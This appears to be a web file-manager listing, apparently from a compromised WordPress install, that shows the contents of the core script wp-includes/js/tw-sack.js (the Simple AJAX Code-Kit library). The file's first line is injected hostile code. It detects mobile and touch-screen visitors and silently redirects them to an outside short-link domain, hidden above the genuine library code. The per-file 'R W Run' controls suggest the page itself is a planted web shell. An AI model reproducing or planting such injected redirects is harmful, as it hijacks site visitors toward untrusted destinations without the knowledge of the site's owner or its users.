at path:ROOT / wp-includes / js / tw-sack.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄tw-sack.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/* Simple AJAX Code-Kit (SACK) v1.6.1 */
3/* ©2005 Gregory Wild-Smith */
4/* www.twilightuniverse.com */
5/* Software licenced under a modified X11 licence,
6 see documentation or authors website for more details */
7
8function sack(file) {
9 this.xmlhttp = null;
10
11 this.resetData = function() {
12 this.method = "POST";
13 this.queryStringSeparator = "?";
14 this.argumentSeparator = "&";
15 this.URLString = "";
16 this.encodeURIString = true;
17 this.execute = false;
18 this.element = null;
19 this.elementObj = null;
20 this.requestFile = file;
21 this.vars = new Object();
22 this.responseStatus = new Array(2);
23 };
24
25 this.resetFunctions = function() {
26 this.onLoading = function() { };
27 this.onLoaded = function() { };
28 this.onInteractive = function() { };
29 this.onCompletion = function() { };
30 this.onError = function() { };
31 this.onFail = function() { };
32 };
33
34 this.reset = function() {
35 this.resetFunctions();
36 this.resetData();
37 };
38
39 this.createAJAX = function() {
40 try {
41 this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
42 } catch (e1) {
43 try {
44 this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
45 } catch (e2) {
46 this.xmlhttp = null;
47 }
48 }
49
50 if (! this.xmlhttp) {
51 if (typeof XMLHttpRequest != "undefined") {
52 this.xmlhttp = new XMLHttpRequest();
53 } else {
54 this.failed = true;
55 }
56 }
57 };
58
59 this.setVar = function(name, value){
60 this.vars[name] = Array(value, false);
61 };
62
63 this.encVar = function(name, value, returnvars) {
64 if (true == returnvars) {
65 return Array(encodeURIComponent(name), encodeURIComponent(value));
66 } else {
67 this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true);
68 }
69 }
70
71 this.processURLString = function(string, encode) {
72 encoded = encodeURIComponent(this.argumentSeparator);
73 regexp = new RegExp(this.argumentSeparator + "|" + encoded);
74 varArray = string.split(regexp);
75 for (i = 0; i < varArray.length; i++){
76 urlVars = varArray[i].split("=");
77 if (true == encode){
78 this.encVar(urlVars[0], urlVars[1]);
79 } else {
80 this.setVar(urlVars[0], urlVars[1]);
81 }
82 }
83 }
84
85 this.createURLString = function(urlstring) {
86 if (this.encodeURIString && this.URLString.length) {
87 this.processURLString(this.URLString, true);
88 }
89
90 if (urlstring) {
91 if (this.URLString.length) {
92 this.URLString += this.argumentSeparator + urlstring;
93 } else {
94 this.URLString = urlstring;
95 }
96 }
97
98 // prevents caching of URLString
99 this.setVar("rndval", new Date().getTime());
100
101 urlstringtemp = new Array();
102 for (key in this.vars) {
103 if (false == this.vars[key][1] && true == this.encodeURIString) {
104 encoded = this.encVar(key, this.vars[key][0], true);
105 delete this.vars[key];
106 this.vars[encoded[0]] = Array(encoded[1], true);
107 key = encoded[0];
108 }
109
110 urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0];
111 }
112 if (urlstring){
113 this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator);
114 } else {
115 this.URLString += urlstringtemp.join(this.argumentSeparator);
116 }
117 }
118
119 this.runResponse = function() {
120 eval(this.response);
121 }
122
123 this.runAJAX = function(urlstring) {
124 if (this.failed) {
125 this.onFail();
126 } else {
127 this.createURLString(urlstring);
128 if (this.element) {
129 this.elementObj = document.getElementById(this.element);
130 }
131 if (this.xmlhttp) {
132 var self = this;
133 if (this.method == "GET") {
134 totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString;
135 this.xmlhttp.open(this.method, totalurlstring, true);
136 } else {
137 this.xmlhttp.open(this.method, this.requestFile, true);
138 try {
139 this.xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
140 } catch (e) { }
141 }
142
143 this.xmlhttp.onreadystatechange = function() {
144 switch (self.xmlhttp.readyState) {
145 case 1:
146 self.onLoading();
147 break;
148 case 2:
149 self.onLoaded();
150 break;
151 case 3:
152 self.onInteractive();
153 break;
154 case 4:
155 self.response = self.xmlhttp.responseText;
156 self.responseXML = self.xmlhttp.responseXML;
157 self.responseStatus[0] = self.xmlhttp.status;
158 self.responseStatus[1] = self.xmlhttp.statusText;
159
160 if (self.execute) {
161 self.runResponse();
162 }
163
164 if (self.elementObj) {
165 elemNodeName = self.elementObj.nodeName;
166 elemNodeName.toLowerCase();
167 if (elemNodeName == "input"
168 || elemNodeName == "select"
169 || elemNodeName == "option"
170 || elemNodeName == "textarea") {
171 self.elementObj.value = self.response;
172 } else {
173 self.elementObj.innerHTML = self.response;
174 }
175 }
176 if (self.responseStatus[0] == "200") {
177 self.onCompletion();
178 } else {
179 self.onError();
180 }
181
182 self.URLString = "";
183 break;
184 }
185 };
186
187 this.xmlhttp.send(this.URLString);
188 }
189 }
190 };
191
192 this.reset();
193 this.createAJAX();
194}
195